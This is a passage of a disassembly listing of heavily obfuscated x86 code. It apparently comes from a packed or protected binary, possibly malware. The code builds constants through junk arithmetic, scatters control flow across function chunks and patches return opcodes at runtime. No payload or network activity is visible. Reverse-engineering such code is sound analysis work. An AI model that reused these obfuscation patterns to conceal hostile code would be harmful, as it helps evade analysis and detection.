sub_451D31	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445707

loc_451D42:				; CODE XREF: sub_445707:loc_458CB0j
		mov	edx, eax
		xchg	edx, [esp+8+var_8]
		retn
; END OF FUNCTION CHUNK	FOR sub_445707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D393

loc_451D48:				; CODE XREF: sub_43D393+364Aj
		jmp	loc_445BE2
; END OF FUNCTION CHUNK	FOR sub_43D393
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449187

loc_451D4D:				; CODE XREF: sub_449187-ABD8j
		jmp	sub_441C2F
; END OF FUNCTION CHUNK	FOR sub_449187

; =============== S U B	R O U T	I N E =======================================



sub_451D52	proc near		; CODE XREF: sub_4427AE-2763j
					; sub_459804-145C7j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A68B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044B918 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044E5F0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00454FD4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459CD6 SIZE 00000005 BYTES

		jz	loc_44B918
		push	ebp
		jmp	loc_43A68B
sub_451D52	endp

; ---------------------------------------------------------------------------

loc_451D5E:				; CODE XREF: dviuq5id:0043EC11j
		jns	loc_44D6F9
		jnp	loc_44B444
		xor	edx, 0E949D3E7h
		jmp	loc_449DE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_451D75:				; CODE XREF: sub_446181:loc_43A23Fj
		push	0B8C492C5h
		pop	eax
		add	eax, 8D9763B6h
		sub	eax, ds:4000F0h
		or	eax, 67F9DE0Eh
		add	eax, 0E1BFB8A4h
		jb	loc_43AE46

loc_451D99:				; CODE XREF: sub_455400-5331j
		jmp	loc_459F7A
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A2CC

loc_451D9E:				; CODE XREF: sub_44A2CC+13j
		jmp	loc_452EA5
; END OF FUNCTION CHUNK	FOR sub_44A2CC
; ---------------------------------------------------------------------------
		mov	ecx, ebp
		jmp	loc_453C23

; =============== S U B	R O U T	I N E =======================================



sub_451DAA	proc near		; CODE XREF: sub_4522E9+3j

var_10		= dword	ptr -10h

; FUNCTION CHUNK AT 00445E59 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044881F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004494E6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0045412B SIZE 00000017 BYTES

		add	esp, 0FFFFFFECh
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]

loc_451DB6:				; CODE XREF: dviuq5id:loc_44FC10j
		mov	edx, [ebp+8]
		mov	[edx-10h], eax
		jmp	loc_445E59
sub_451DAA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F623

loc_451DC1:				; CODE XREF: sub_43F623:loc_44CA39j
					; dviuq5id:0044CA57j
		or	ecx, 0F9CF7BC9h
		add	ecx, 2551972h
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_446CFB
; END OF FUNCTION CHUNK	FOR sub_43F623
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_451DD5:				; CODE XREF: sub_43C4B5:loc_448974j
		mov	byte ptr [edx],	87h
		pop	edx
		add	edx, 9ADEC22Eh
		rol	edx, 0Eh
		jmp	loc_4487CD
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
		mov	eax, 205AA81Dh
		push	edx
		push	27B61220h
		pop	edx
		and	edx, 7806E2A0h
		sub	edx, 0AF5F948Eh
		push	offset unk_43B58A
		jmp	locret_4481B6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_451E0A	proc near		; CODE XREF: sub_43A6B8+8p
					; dviuq5id:loc_43C229p	...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043BB9D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043F3C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FC99 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00440354 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004557DB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0045A0BA SIZE 00000015 BYTES

		push	ecx
		mov	ecx, ebp
		xchg	ecx, [esp+0]
		mov	ebp, esp
		push	ecx
		jmp	loc_440354
sub_451E0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_451E18	proc near		; CODE XREF: dviuq5id:0043EA15j
					; dviuq5id:00456D18p
		xchg	eax, [esp+0]
		pop	eax
		test	eax, eax
		jl	loc_4513D8
		jmp	loc_43CA7B
sub_451E18	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_451E29:				; DATA XREF: dviuq5id:00447A05o
		push	1A72B3A1h
		pop	ecx
		xor	ecx, 2F8EB9C3h
		add	ecx, 0CA45C696h
		jmp	loc_440259
; ---------------------------------------------------------------------------
		add	esi, 0B51262Ah
		jno	loc_44007C
		jmp	sub_444DF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459194

loc_451E51:				; CODE XREF: sub_459194:loc_450241j
		mov	edx, ebp
		xchg	edx, [esp+0]
		mov	ebp, esp
		push	eax
		mov	eax, ecx
		xchg	eax, [esp+0]
		mov	esp, ebp
		jmp	loc_44B0EF
; END OF FUNCTION CHUNK	FOR sub_459194
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_451E65:				; CODE XREF: sub_44B2EA:loc_450224j
		jnz	loc_455D56

loc_451E6B:				; CODE XREF: dviuq5id:0043D634j
		jmp	loc_453D34
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
		sbb	ecx, edx
		sbb	ebp, edi
		jmp	loc_455D51
; ---------------------------------------------------------------------------

loc_451E79:				; CODE XREF: dviuq5id:004428FCj
		pushf
		mov	[ebx], edx
		jmp	loc_4424EE
; ---------------------------------------------------------------------------

loc_451E81:				; CODE XREF: dviuq5id:loc_445A37j
		ror	ebp, 0Ah
		jmp	loc_457B93
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_511. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443862

loc_451E8A:				; CODE XREF: sub_443862+1633Fj
		jmp	loc_44A7DB
; END OF FUNCTION CHUNK	FOR sub_443862
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449EB7

loc_451E8F:				; CODE XREF: sub_449EB7+A255j
		call	sub_43DADC

loc_451E94:				; CODE XREF: sub_44C592+B408j
		jmp	loc_44C913
; END OF FUNCTION CHUNK	FOR sub_449EB7

; =============== S U B	R O U T	I N E =======================================



sub_451E99	proc near		; CODE XREF: sub_43FA59-5D72p
					; dviuq5id:004429EAj
		xchg	edi, [esp+0]
		pop	edi
		call	sub_451E0A
		mov	eax, 0A7A44D83h
		push	esi
		mov	esi, ebx
		push	offset loc_45A243
		jmp	nullsub_144
sub_451E99	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453F0A

loc_451EB4:				; CODE XREF: sub_453F0A:loc_443375j
		mov	byte ptr [eax],	0C3h
		jmp	loc_43C31D
; ---------------------------------------------------------------------------

loc_451EBC:				; CODE XREF: sub_453F0A+1j
		mov	eax, [esp+4+var_4]
		push	edx
		push	ebx
		jmp	loc_43C283
; END OF FUNCTION CHUNK	FOR sub_453F0A

; =============== S U B	R O U T	I N E =======================================



sub_451EC6	proc near		; CODE XREF: dviuq5id:0044CEB0j
					; sub_45352C:loc_456DDBp

; FUNCTION CHUNK AT 0043F3BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441AD7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00443A92 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00452CE7 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	eax
		mov	eax, ecx
		xchg	eax, [esp+0]
		mov	esp, ebp
		pop	ebp

loc_451ED3:				; CODE XREF: sub_44A4E3:loc_439B41j
		jmp	loc_441AD7
sub_451EC6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ds:dword_41D0E0, eax
		lea	eax, nullsub_469
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_469

; =============== S U B	R O U T	I N E =======================================



sub_451EEC	proc near		; CODE XREF: sub_40F8D4+2Dp
					; sub_419E67+30p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004396A2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043C96F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CC8C SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0043CF3F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004417F9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004427C0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00444953 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 004463C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004476CD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00447B3D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00447C55 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00448948 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044973F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044B45B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B5E7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044CE4C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044E79A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044F636 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00450CDF SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00450EE7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455D03 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00459654 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A31B SIZE 0000000B BYTES

		jb	loc_43CCAF
		jmp	loc_450CDF
sub_451EEC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		adc	esi, ecx
		jmp	sub_4408ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449AC6

loc_451EFE:				; CODE XREF: sub_449AC6:loc_4397E1j
		mov	eax, [ebp-4]
		xchg	eax, [esp+0]
		push	eax
		and	ecx, ebp
		jmp	loc_451587
; END OF FUNCTION CHUNK	FOR sub_449AC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CDB6

loc_451F0C:				; CODE XREF: sub_44CDB6:loc_449CC0j
		mov	byte ptr [ebp+var_4+3],	0
		mov	eax, cs
		xor	al, al
		call	sub_455682
; END OF FUNCTION CHUNK	FOR sub_44CDB6
; START	OF FUNCTION CHUNK FOR sub_450A73

loc_451F19:				; CODE XREF: sub_450A73-1AB6j
		jmp	loc_4412D3
; END OF FUNCTION CHUNK	FOR sub_450A73

; =============== S U B	R O U T	I N E =======================================



sub_451F1E	proc near		; CODE XREF: dviuq5id:0043ED2Ej
					; sub_440A7F+17957p

; FUNCTION CHUNK AT 0043F098 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441E58 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BC9B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00456F38 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_456F38
		jmp	loc_44BC9B
sub_451F1E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_451F33:				; CODE XREF: sub_44CFBC:loc_442432j
		cmp	edi, 4658CF1Eh
		jmp	loc_443BB1
; END OF FUNCTION CHUNK	FOR sub_44CFBC

; =============== S U B	R O U T	I N E =======================================



sub_451F3E	proc near		; DATA XREF: sub_456280+7o
		mov	eax, edx
		push	offset loc_4515FD
		jmp	nullsub_236
sub_451F3E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DCB4

loc_451F4A:				; CODE XREF: sub_43DCB4:loc_43A475j
		xchg	edx, [esp+0]
		call	sub_43A101
		or	eax, eax
		jnz	loc_4551EB
		jmp	loc_448CB8
; END OF FUNCTION CHUNK	FOR sub_43DCB4
; ---------------------------------------------------------------------------

loc_451F5F:				; CODE XREF: dviuq5id:0043939Fj
		or	edi, ebp

; =============== S U B	R O U T	I N E =======================================



sub_451F61	proc near		; CODE XREF: sub_44B9DA:loc_445C59p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004468F0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00447F26 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044FE9E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0045050F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451008 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00453152 SIZE 00000008 BYTES

		xchg	eax, [esp+8+var_8]
		pop	eax
		call	sub_456F43
		mov	edx, 17B3C1CFh
		call	sub_449EB7
		push	edx
		jmp	loc_45050F
sub_451F61	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_451F7A	proc near		; DATA XREF: sub_45061D+10o

; FUNCTION CHUNK AT 0043DC1E SIZE 00000005 BYTES

		push	ecx
		push	129AD884h
		pop	ecx
		rol	ecx, 0Dh
		push	offset loc_445C32 ; DATA XREF: sub_45A3B5+4o
		jmp	loc_43DC1E
sub_451F7A	endp

; ---------------------------------------------------------------------------
		mov	edx, 9E849D81h
		push	edi
		push	offset sub_43CDF6
		jmp	loc_4407BA
; ---------------------------------------------------------------------------
		jbe	loc_454AD7
		jmp	sub_43C402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_451FA9:				; CODE XREF: sub_4509F7-14E2Aj
		push	ecx
		push	0A323D1EAh
		pop	ecx
		or	ecx, 74933E3Ah
		jmp	loc_452F1D
; END OF FUNCTION CHUNK	FOR sub_4509F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A310

loc_451FBB:				; CODE XREF: sub_45A310:loc_43C736j
		add	eax, 0EBF20DC6h
		sub	eax, 0B4D7876h
		test	eax, 20000000h
		jmp	loc_43B03F
; END OF FUNCTION CHUNK	FOR sub_45A310
; ---------------------------------------------------------------------------
		cdq
		cmp	eax, ebp
		jmp	loc_43C537
; ---------------------------------------------------------------------------

loc_451FDA:				; CODE XREF: dviuq5id:0044B52Fj
		sbb	ecx, 0CADE0815h

; =============== S U B	R O U T	I N E =======================================



sub_451FE0	proc near		; CODE XREF: sub_44279B+412Bp

; FUNCTION CHUNK AT 00446422 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044EE6E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004505FB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00451358 SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_451BC9
		jmp	loc_451358
sub_451FE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_451FF3:				; CODE XREF: dviuq5id:loc_43A0E3j
					; dviuq5id:00453B07j
		call	sub_43938B
		test	al, al
		jz	loc_458E20
		jmp	loc_43B607
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_452005:				; CODE XREF: sub_43FA59+EBEEj
		mov	[eax], edi
		jbe	loc_43DE81
		and	esi, 0B65A32C3h
		push	ebp
		jmp	loc_45701D
; END OF FUNCTION CHUNK	FOR sub_43FA59

; =============== S U B	R O U T	I N E =======================================



sub_452019	proc near		; DATA XREF: sub_450E0E+327o

; FUNCTION CHUNK AT 0043B12D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044F818 SIZE 00000019 BYTES

		push	0DB964D1Ch
		pop	edx
		xor	edx, 3873058Fh
		and	edx, 0EEFC1080h
		js	loc_44F818
sub_452019	endp

; START	OF FUNCTION CHUNK FOR sub_447A8A

loc_452031:				; CODE XREF: sub_447A8A+B66j
		and	ecx, edi
; END OF FUNCTION CHUNK	FOR sub_447A8A
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_452033:				; CODE XREF: sub_43FA59-62DBj
					; sub_43B24C+Aj ...
		jns	loc_453812
		push	0
		push	0
		push	10h
		mov	eax, [ebp+8]
		jmp	loc_446DF8
; END OF FUNCTION CHUNK	FOR sub_43FA59

; =============== S U B	R O U T	I N E =======================================



sub_452047	proc near		; DATA XREF: sub_45799F+1D5Ao

; FUNCTION CHUNK AT 00439DD5 SIZE 00000008 BYTES

		shl	eax, 8
		mov	edx, [ebp-20h]
		movzx	edx, byte ptr [edx]
		or	eax, edx
		jmp	loc_439DD5
sub_452047	endp

; ---------------------------------------------------------------------------

loc_452057:				; CODE XREF: dviuq5id:loc_454255j
		mov	ebx, edx
		xchg	ebx, [esp]
		call	sub_442503
		push	0FB456F2Fh
		pop	eax
		add	eax, 63A3A66Eh
		call	sub_44F093
		or	ecx, 3C478AFBh
		mov	[esi], edi
		jmp	sub_439995
; ---------------------------------------------------------------------------

loc_45207F:				; DATA XREF: sub_43FDFB+83F2o
		jmp	loc_4484CE
; ---------------------------------------------------------------------------
		jmp	loc_45145A

; =============== S U B	R O U T	I N E =======================================



sub_452089	proc near		; CODE XREF: sub_443862:loc_44E34Dj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C5B9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044D618 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0045640B SIZE 0000001A BYTES

		push	ebx
		push	0E331881Ch
		pop	ebx
		and	ebx, 33378495h
		rol	ebx, 1Ch
		jmp	loc_45640B
sub_452089	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_216. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_45209F:				; CODE XREF: dviuq5id:loc_4443D7j
		jz	loc_43BBF7
; START	OF FUNCTION CHUNK FOR sub_43B3A0

loc_4520A5:				; CODE XREF: sub_43B3A0+158D8j
		jmp	loc_439A8B
; END OF FUNCTION CHUNK	FOR sub_43B3A0
; ---------------------------------------------------------------------------
		test	ebp, edi
		jmp	loc_4431A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_4520B1:				; CODE XREF: sub_439C09+188AEj
		test	ecx, 800000h

loc_4520B7:				; CODE XREF: dviuq5id:00445B61j
		jmp	loc_443B03
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_4520BC:				; CODE XREF: sub_4440E9-AAAj
		sbb	edi, 59AAA74Dh
		mov	ebp, 1DFF6FFh
		and	ecx, ebp
		mov	edi, ecx
		jmp	loc_44B571
; END OF FUNCTION CHUNK	FOR sub_4440E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AE26

loc_4520D0:				; CODE XREF: sub_44AE26+899Ej
		add	edx, 940F0909h
		jmp	loc_43E484
; END OF FUNCTION CHUNK	FOR sub_44AE26
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_200. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4520DC	proc near		; CODE XREF: sub_43C4B5+17ED7j
					; sub_43C4B5:loc_457099j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043FD9C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DE79 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045013C SIZE 0000000C BYTES

		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]

loc_4520E2:				; CODE XREF: dviuq5id:loc_441249j
		lea	eax, loc_44A57C
		push	eax
		push	eax
		jmp	loc_44DE79
sub_4520DC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EFC2

loc_4520EF:				; CODE XREF: sub_44EFC2+Dj
		push	edi
		push	0B57442B3h
		pop	edi
		and	edi, 0F51FC103h
		or	edi, 2D955B1Bh
		xor	edi, 0E777882h
		add	edi, 4C637A35h
		xchg	edi, [esp+0Ch+var_C]
		jmp	loc_447938
; END OF FUNCTION CHUNK	FOR sub_44EFC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F9EE

loc_452116:				; CODE XREF: sub_44F9EE+1j
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], eax
		push	85F3EF33h
		pop	eax
		sub	eax, 0FF3B4EB5h
		add	eax, 3BB2C4BAh
		xor	eax, 7DF00E9Ch
		jmp	loc_446293
; END OF FUNCTION CHUNK	FOR sub_44F9EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450667

loc_452139:				; CODE XREF: sub_450667:loc_4498FCj
		mov	eax, ecx
		pop	ecx
		push	0CEF5F05h
		pop	eax
		jmp	loc_43C6D1
; END OF FUNCTION CHUNK	FOR sub_450667
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C9E4

loc_452147:				; CODE XREF: sub_44C9E4+9j
		pop	ecx
		xchg	edi, [esp+0]
		mov	ebx, edi
		pop	edi
		pop	ebp
		jmp	loc_43C808
; END OF FUNCTION CHUNK	FOR sub_44C9E4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_454B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E763

loc_45215C:				; CODE XREF: sub_44E763+4191j
		call	sub_44CA9A
		call	sub_44F186

loc_452166:				; CODE XREF: sub_43FA59+55BFj
		push	edx
		sbb	esi, 0C4A3512Dh

loc_45216D:				; CODE XREF: sub_43FA59:loc_457069j
		lea	eax, [ebp-2AAh]
		cmp	dword ptr [eax], 4742444Fh
		jmp	loc_450E46
; END OF FUNCTION CHUNK	FOR sub_44E763
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_45217E:				; CODE XREF: sub_443ECE:loc_4447AFj
		jz	loc_456B76
		jmp	loc_43A90C
; END OF FUNCTION CHUNK	FOR sub_443ECE

; =============== S U B	R O U T	I N E =======================================



sub_452189	proc near		; CODE XREF: sub_444BE4-957Ap
					; dviuq5id:0044E480j

; FUNCTION CHUNK AT 00439318 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043E062 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442D1B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445E0C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00448964 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F943 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00457120 SIZE 0000000C BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	edi
		push	0BB55A1C6h
		jmp	loc_448964
sub_452189	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_228. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448800

loc_452199:				; CODE XREF: sub_448800-7FDDj
		ror	eax, 16h
		push	edi
		push	79B21869h
		pop	edi
		add	edi, 8AA5D31Fh
		rol	edi, 3
		jmp	loc_43E610
; END OF FUNCTION CHUNK	FOR sub_448800
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422EC

loc_4521B1:				; CODE XREF: sub_4422EC+17E2Fj
		jz	loc_455EC0
		jmp	loc_44CAA2
; END OF FUNCTION CHUNK	FOR sub_4422EC
; ---------------------------------------------------------------------------

loc_4521BC:				; CODE XREF: dviuq5id:00444F5Cj
		jg	loc_43A292
		test	esi, ebp
		jmp	loc_445298
; ---------------------------------------------------------------------------
		test	edx, ecx
		jmp	loc_44009B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D0F2

loc_4521D0:				; CODE XREF: sub_44D0F2-113C8j
		popf

loc_4521D1:				; CODE XREF: sub_44D0F2:loc_43BD18j
		sub	ebx, 937A373Ch
		xor	ebx, 7B09EF1Fh
		sub	eax, ebx
		call	sub_43E08B
; END OF FUNCTION CHUNK	FOR sub_44D0F2
; START	OF FUNCTION CHUNK FOR sub_44C4E2

loc_4521E4:				; CODE XREF: sub_44C4E2-5EC1j
		jmp	nullsub_247
; END OF FUNCTION CHUNK	FOR sub_44C4E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF81

loc_4521E9:				; CODE XREF: sub_43AF81+11j
		jmp	loc_456F4D
; END OF FUNCTION CHUNK	FOR sub_43AF81
; ---------------------------------------------------------------------------

loc_4521EE:				; CODE XREF: dviuq5id:0043EFCBj
		pop	esi
		jmp	loc_4409CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455400

loc_4521F4:				; CODE XREF: sub_455400j
		call	sub_44B558
; END OF FUNCTION CHUNK	FOR sub_455400
; START	OF FUNCTION CHUNK FOR sub_43FF18

loc_4521F9:				; CODE XREF: sub_43FF18+BAF1j
		jmp	nullsub_147
; END OF FUNCTION CHUNK	FOR sub_43FF18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_4521FE:				; CODE XREF: sub_44B624-A356j
		jz	loc_441963
		jmp	loc_44C774
; END OF FUNCTION CHUNK	FOR sub_44B624

; =============== S U B	R O U T	I N E =======================================



sub_452209	proc near		; DATA XREF: sub_44C4E2-5EC6o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00446AEE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AEEB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0045125D SIZE 00000005 BYTES

		push	1B470382h
		xchg	esi, [esp+4+var_4]
		mov	edi, esi
		pop	esi
		xor	edi, 0D0D34038h
		jmp	loc_446AEE
sub_452209	endp

; ---------------------------------------------------------------------------

loc_45221F:				; CODE XREF: dviuq5id:00441B65j
		jbe	loc_44694D
		jge	loc_459BC7
		mov	[edi], edx
		and	edi, eax
		jmp	loc_44D08C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D148

loc_452234:				; CODE XREF: sub_44D148+Aj
		pop	esi
		or	esi, 0D494CCFDh
		add	esi, 8AD376DBh
		rol	esi, 0Bh
		sub	esi, ds:4000F7h
		test	esi, 100000h
		jmp	loc_43A93A
; END OF FUNCTION CHUNK	FOR sub_44D148
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D160

loc_452255:				; CODE XREF: sub_43D160+10B41j
		push	0
; END OF FUNCTION CHUNK	FOR sub_43D160
; START	OF FUNCTION CHUNK FOR sub_4486F9

loc_452257:				; CODE XREF: sub_4486F9:loc_43BF4Ej
		push	ecx
		push	0B2C78C9h
		pop	ecx
		sub	ecx, 5D4EE087h
		and	ecx, 9BA8F35Ch
		sub	ecx, 44D68921h
		jmp	loc_4568FD
; END OF FUNCTION CHUNK	FOR sub_4486F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458D9A

loc_452275:				; CODE XREF: sub_458D9A:loc_4517C8j
		or	ecx, 8F59ED09h
		add	ecx, 635E1456h
		xor	ecx, 474FE0ECh
		rol	ecx, 6
		xor	ecx, 578577Dh
		jmp	loc_445A62
; END OF FUNCTION CHUNK	FOR sub_458D9A
; ---------------------------------------------------------------------------
		mov	eax, 2D7263EFh
		jmp	sub_45A413
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4547E2

loc_45229F:				; CODE XREF: sub_4547E2:loc_459644j
		mov	eax, [ebp+var_4]
		push	offset loc_453CEA
		jmp	loc_43B916
; END OF FUNCTION CHUNK	FOR sub_4547E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD5

loc_4522AC:				; CODE XREF: sub_43CBD5-AAFj
		jnb	loc_451CC1
		xchg	ebx, ecx
		cmp	esi, 7C9853C1h
		jmp	loc_45574F
; END OF FUNCTION CHUNK	FOR sub_43CBD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C99

loc_4522BF:				; CODE XREF: sub_441C99+Fj
		jnz	loc_459C5E
		jmp	loc_43F802
; END OF FUNCTION CHUNK	FOR sub_441C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_4522CA:				; CODE XREF: sub_449485+11EFj
		xor	ebp, edi
		jmp	loc_43D699
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489F3

loc_4522D1:				; CODE XREF: sub_4489F3:loc_441EE8j
		jnz	loc_4522E0
		add	dword ptr [ebp-8], 4
		jmp	loc_44C8CC
; ---------------------------------------------------------------------------

loc_4522E0:				; CODE XREF: sub_4489F3:loc_4522D1j
		add	dword ptr [ebp-8], 2
		jmp	loc_44C8CC
; END OF FUNCTION CHUNK	FOR sub_4489F3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


